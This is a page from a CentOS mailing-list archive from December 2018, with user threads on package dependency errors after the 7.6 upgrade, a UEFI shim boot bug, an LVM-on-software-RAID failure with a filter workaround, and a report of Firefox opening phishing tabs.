> Date: Monday, December 03, 2018 20:41:20 -0600 > From: Frank Cox <theatre(a)sasktel.net> > > I just tried updating this laptop to the shiny new Centos version > and it appears that Mate doesn't like the new version of libgtop, > as you can see here: > > Error: Package: marco-1.16.1-3.el7.x86_64 (@epel) > Requires: libgtop-2.0.so.10()(64bit) > Removing: libgtop2-2.34.2-2.el7.x86_64 (@base) > libgtop-2.0.so.10()(64bit) > Updated By: libgtop2-2.38.0-3.el7.x86_64 (base) > ~libgtop-2.0.so.11()(64bit) > Error: Package: mate-applets-1.16.0-1.el7.x86_64 (@epel) > Requires: libgtop-2.0.so.10()(64bit) > Removing: libgtop2-2.34.2-2.el7.x86_64 (@base) > libgtop-2.0.so.10()(64bit) > Updated By: libgtop2-2.38.0-3.el7.x86_64 (base) > ~libgtop-2.0.so.11()(64bit) > Error: Package: mate-disk-usage-analyzer-1.16.1-1.el7.x86_64 (@epel) > Requires: libgtop-2.0.so.10()(64bit) > Removing: libgtop2-2.34.2-2.el7.x86_64 (@base) > libgtop-2.0.so.10()(64bit) > Updated By: libgtop2-2.38.0-3.el7.x86_64 (base) > ~libgtop-2.0.so.11()(64bit) > Error: Package: mate-system-monitor-1.16.0-1.el7.x86_64 (@epel) > Requires: libgtop-2.0.so.10()(64bit) > Removing: libgtop2-2.34.2-2.el7.x86_64 (@base) > libgtop-2.0.so.10()(64bit) > Updated By: libgtop2-2.38.0-3.el7.x86_64 (base) > ~libgtop-2.0.so.11()(64bit) Updated versions of those @epel packages are in the epel-testing repo, which resolved this issue for me when I updated using the CR repo a couple of weeks ago.

3 2

Bastion server
by Ilyass Kaouam 06 Dec '18

06 Dec '18

Hi, Please can you give me an equivalent off Wallix but open source? Thanks Ilyass KAOUAM SysAdmin

4 7

Firefox showing bogus sites after 'yum update'
by Gary Stainburn 06 Dec '18

06 Dec '18

I have just done a yum update for the first time in a while, and as part of that I believe Firefox got upgraded. After the reboot I restarted Firefox which had been closed down with the option to retain all open tabs/windows. However, when I restarted Firefox it had three new tabs, one being the ususal Firefox upgrade page. The other two were Phishing sites, one pretending to be Amazon the other I cannot remember. Has anyone else experienced this?

1 0

CentOS 7.6.1810 UEFI/Shim issue .. feedback wanted !
by Fabian Arrotin 06 Dec '18

06 Dec '18

We got some reports from people unable to reboot their nodes after updating to 7.6.1810, and basically to newer shim (v15). It seems to affect only nodes in UEFI mode, but without SecureBoot. We wrote that in the ReleaseNotes, including a link to the bug report : https://bugs.centos.org/view.php?id=15522 We have now a workaround in that bug report, and also a new interim build (not signed by Microsoft yet) but we need feedback , as the only node on which I could test this myself is my old 2008 iMac computer .. :-( Once we'll have enough positive (but also negative) feedback about this new build, we'll be able to send to Microsoft for signing and so consider that bug closed. Worth also noticing that if we can have that ready in the updates, we'll be able to spin a monthly iso that will then work on such uefi nodes too. Kind Regards, -- Fabian Arrotin The CentOS Project | https://www.centos.org gpg key: 56BEC54E | twitter: @arrfab

2 1

LVM failure after CentOS 7.6 upgrade -- possible corruption
by Gordon Messmer 06 Dec '18

06 Dec '18

I've started updating systems to CentOS 7.6, and so far I have one failure. This system has two peculiarities which might have triggered the problem. The first is that one of the software RAID arrays on this system is degraded. While troubleshooting the problem, I saw similar error messages mentioned in bug reports indicating that sGNU/Linux ystems would not boot with degraded software RAID arrays. The other peculiar aspect is that the system uses dm-cache. Logs from some of the early failed boots are not available, but before I completely fixed the problem, I was able to bring the system up once, and captured logs which look substantially similar to the initial boot. The content of /var/log/messages is here: https://paste.fedoraproject.org/paste/n-E6X76FWIKzIvzPOw97uw The output of lsblk (minus some VM logical volumes) is here: https://paste.fedoraproject.org/paste/OizFvMeGn81vF52VEvUbyg As best I can tell, the LVM tools were treating software RAID component devices as PVs, and detecting a conflict between those and the assembled RAID volume. When running "pvs" on the broken system, no RAID volumes were listed, only component devices. At the moment, I don't know if the LVs that were activated by the initrd were backed by component devices or the RAID devices, so it's possible that this bug might corrupt software RAID arrays. In order to correct the problem, I had to add a global_filter to /etc/lvm/lvm.conf and rebuild the initrd (dracut -f): global_filter = [ "r|vm_.*_data|", "a|sdd1|", "r|sd..|" ] This filter excludes the LVs that contain VM data, accepts "/dev/sdd1" which is the dm-cache device, and rejects all other partitions on SCSI(SATA) device nodes, as all of those are RAID component devices. I'm still working on the details of the problem, but I wanted to share what I know now in case anyone else might be affected. After updating, look at the output of "pvs" if you use LVM on software RAID.

4 7

2025

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

2005

2004

Discuss